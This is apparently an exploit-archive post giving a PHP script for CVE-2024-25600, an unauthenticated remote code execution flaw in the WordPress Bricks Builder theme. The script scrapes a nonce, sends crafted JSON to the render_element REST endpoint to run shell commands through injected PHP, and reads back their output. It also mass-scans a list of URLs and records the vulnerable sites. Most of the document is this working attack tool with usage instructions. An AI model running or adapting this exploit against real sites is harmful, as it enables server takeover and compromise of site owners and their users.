============================================================================================================================================= | # Title : WordPress Bricks 1.9.6 PHP Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://bricksbuilder.io/ | ============================================================================================================================================= POC : 1. Summary : A critical vulnerability in Bricks Builder allows unauthenticated attackers to execute arbitrary PHP code through the Bricks REST API. The attack targets the render_element endpoint, injecting malicious instructions in the Query Editor or Code Element, escalating from an Auth Bypass to full RCE. CVE: CVE‑2024‑25600 (https://packetstorm.news/files/id/207959/) ------------------------- How to Run the Exploit ------------------------- ### **1. Save the script** Save the code as: rce.php ### **2. Start it from terminal** php rce.php -u https://target.tld php rce.php -l list.txt -o vulnerable.txt ------------------------- Script : ------------------------- url = rtrim($url, "/"); $this->payloadType = $payloadType; $this->onlyRce = $onlyRce; $this->pretty = $pretty; $this->nonce = $this->fetchNonce(); } private function httpGet($url) { $opts = [ "http" => [ "method" => "GET", "header" => "User-Agent: Mozilla/5.0\r\n", "timeout" => 20 ], "ssl" => [ "verify_peer" => false, "verify_peer_name" => false ] ]; return @file_get_contents($url, false, stream_context_create($opts)); } private function httpPost($url, $json) { $opts = [ "http" => [ "method" => "POST", "header" => "Content-Type: application/json\r\n", "content" => $json, "timeout" => 20 ], "ssl" => [ "verify_peer" => false, "verify_peer_name" => false ] ]; return @file_get_contents($url, false, stream_context_create($opts)); } private function fetchNonce() { $html = $this->httpGet($this->url); if (!$html) return null; if (preg_match('/id="bricks-scripts-js-extra">(.*?)<\/script>/s', $html, $m)) { if (preg_match('/"nonce":"([a-f0-9]+)"/', $m[1], $n)) { return $n[1]; } } return null; } private function buildPayload($command = "whoami") { $payloadCommand = "throw new Exception(`{$command}`.'END');"; $base = [ "postId" => "1", "nonce" => $this->nonce ]; $query = [ "useQueryEditor" => true, "queryEditor" => $payloadCommand ]; $types = [ "carousel" => array_merge($base, [ "element" => [ "name" => "carousel", "settings" => [ "type" => "posts", "query" => $query ] ] ]), "container" => array_merge($base, [ "element" => [ "name" => "container", "settings" => [ "hasLoop" => "true", "query" => $query ] ] ]), "generic" => array_merge($base, [ "element" => "1", "loopElement" => [ "settings" => [ "query" => $query ] ] ]), "code" => array_merge($base, [ "element" => [ "name" => "code", "settings" => [ "executeCode" => "true", "code" => "" ] ] ]) ]; return json_encode($types[$this->payloadType], JSON_UNESCAPED_SLASHES); } private function sendPayload($cmd = "whoami") { $endpoint = $this->pretty ? $this->url . "/wp-json/bricks/v1/render_element" : $this->url . "/?rest_route=/bricks/v1/render_element"; $json = $this->buildPayload($cmd); return $this->httpPost($endpoint, $json); } private function parseResponse($response) { if (!$response) return [false, null, false]; $json = json_decode($response, true); $html = $json["data"]["html"] ?? $response; if (preg_match('/Exception:\s*(.*?)END/s', $html, $m)) { $out = trim($m[1]); return [true, $out, $out !== ""]; } return [true, $html, false]; } public function check() { if (!$this->nonce) { $this->print("لم يتم العثور على Nonce", "red"); return [false, null, false]; } $response = $this->sendPayload(); [$ok, $content, $rce] = $this->parseResponse($response); if ($ok) { if ($rce) { $this->print("⚠ الموقع مصاب ورجع تنفيذ أوامر: {$content}", "green"); } else { if (!$this->onlyRce) $this->print("⚠ الموقع مصاب بتجاوز المصادقة ولكن بدون RCE.", "yellow"); } return [$ok, $content, $rce]; } $this->print("الموقع غير مصاب.", "red"); return [false, null, false]; } private function print($msg, $color="white") { echo "
$msg
"; } } # ============================ # CLI HANDLING # ============================ $options = getopt("u:l:o:p::", ["url:", "list:", "output:", "payload-type:", "only-rce", "pretty"]); if (isset($options["u"]) || isset($options["url"])) { $url = $options["u"] ?? $options["url"]; $payload = $options["p"] ?? "code"; $onlyRce = isset($options["only-rce"]); $pretty = isset($options["pretty"]); $scan = new BricksScanner($url, $payload, $onlyRce, $pretty); $scan->check(); exit; } if (isset($options["l"]) || isset($options["list"])) { $list = $options["l"] ?? $options["list"]; $out = $options["o"] ?? $options["output"] ?? null; $payload = $options["p"] ?? "code"; $onlyRce = isset($options["only-rce"]); $pretty = isset($options["pretty"]); $lines = file($list, FILE_IGNORE_NEW_LINES); foreach ($lines as $url) { $scan = new BricksScanner($url, $payload, $onlyRce, $pretty); [$ok, $content, $rce] = $scan->check(); if ($ok && (!$onlyRce || $rce)) { if ($out) file_put_contents($out, $url . "\n", FILE_APPEND); } } exit; } echo "Usage:\n"; echo "php scanner.php -u https://target.tld\n"; echo "php scanner.php -l list.txt -o vulnerable.txt\n"; ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================